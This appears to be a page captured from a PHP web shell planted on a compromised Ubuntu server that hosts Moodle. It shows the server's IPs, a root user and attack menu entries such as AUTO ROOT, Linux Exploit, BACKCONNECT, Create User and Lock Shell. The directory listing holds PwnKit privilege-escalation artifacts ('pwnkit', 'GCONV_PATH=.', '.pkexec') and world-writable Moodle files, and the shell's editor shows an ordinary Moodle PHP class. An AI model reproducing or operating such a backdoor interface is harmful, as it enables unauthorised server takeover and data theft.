Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
feedback /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
analytics
[ DIR ]
drwxrwxrwx
event
[ DIR ]
drwxrwxrwx
external
[ DIR ]
drwxrwxrwx
output
[ DIR ]
drwxrwxrwx
privacy
[ DIR ]
drwxrwxrwx
search
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
complete_form.php
21.62
KB
-rwxrwxrwx
completion.php
28.25
KB
-rwxrwxrwx
course_map_form.php
1.53
KB
-rwxrwxrwx
course_select_form.php
3.27
KB
-rwxrwxrwx
external.php
54.42
KB
-rwxrwxrwx
observer.php
1.52
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
responses_anon_table.php
4.47
KB
-rwxrwxrwx
responses_table.php
24.36
KB
-rwxrwxrwx
structure.php
13.49
KB
-rwxrwxrwx
templates_table.php
2.94
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : responses_anon_table.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Contains class mod_feedback_responses_anon_table * * @package mod_feedback * @copyright 2016 Marina Glancy * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * Class mod_feedback_responses_anon_table * * @package mod_feedback * @copyright 2016 Marina Glancy * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class mod_feedback_responses_anon_table extends mod_feedback_responses_table { /** @var string */ protected $showallparamname = 'ashowall'; /** @var string */ protected $downloadparamname = 'adownload'; /** * Initialises table * @param int $group retrieve only users from this group (optional) */ public function init($group = 0) { $cm = $this->feedbackstructure->get_cm(); $this->uniqueid = 'feedback-showentry-anon-list-' . $cm->instance; // There potentially can be both tables with anonymouns and non-anonymous responses on // the same page (for example when feedback anonymity was changed after some people // already responded). In this case we need to distinguish tables' pagination parameters. $this->request[TABLE_VAR_PAGE] = 'apage'; $tablecolumns = ['random_response']; $tableheaders = [get_string('response_nr', 'feedback')]; if ($this->feedbackstructure->get_feedback()->course == SITEID && !$this->feedbackstructure->get_courseid()) { $tablecolumns[] = 'courseid'; $tableheaders[] = get_string('course'); } $this->define_columns($tablecolumns); $this->define_headers($tableheaders); $this->sortable(true, 'random_response'); $this->collapsible(true); $this->set_attribute('id', 'showentryanontable'); $params = ['instance' => $cm->instance, 'anon' => FEEDBACK_ANONYMOUS_YES, 'courseid' => $this->feedbackstructure->get_courseid()]; $fields = 'c.id, c.random_response, c.courseid'; $from = '{feedback_completed} c'; $where = 'c.anonymous_response = :anon AND c.feedback = :instance'; if ($this->feedbackstructure->get_courseid()) { $where .= ' AND c.courseid = :courseid'; } $group = (empty($group)) ? groups_get_activity_group($this->feedbackstructure->get_cm(), true) : $group; if ($group) { $where .= ' AND c.userid IN (SELECT g.userid FROM {groups_members} g WHERE g.groupid = :group)'; $params['group'] = $group; } $this->set_sql($fields, $from, $where, $params); $this->set_count_sql("SELECT COUNT(c.id) FROM $from WHERE $where", $params); } /** * Returns a link for viewing a single response * @param stdClass $row * @return \moodle_url */ protected function get_link_single_entry($row) { return new moodle_url($this->baseurl, ['showcompleted' => $row->id]); } /** * Prepares column reponse for display * @param stdClass $row * @return string */ public function col_random_response($row) { if ($this->is_downloading()) { return $row->random_response; } else { return html_writer::link($this->get_link_single_entry($row), get_string('response_nr', 'feedback').': '. $row->random_response); } } /** * Add data for the external structure that will be returned. * * @param stdClass $row a database query record row * @since Moodle 3.3 */ protected function add_data_for_external($row) { $this->dataforexternal[] = [ 'id' => $row->id, 'courseid' => $row->courseid, 'number' => $row->random_response, 'responses' => $this->get_responses_for_external($row) ]; } }
Close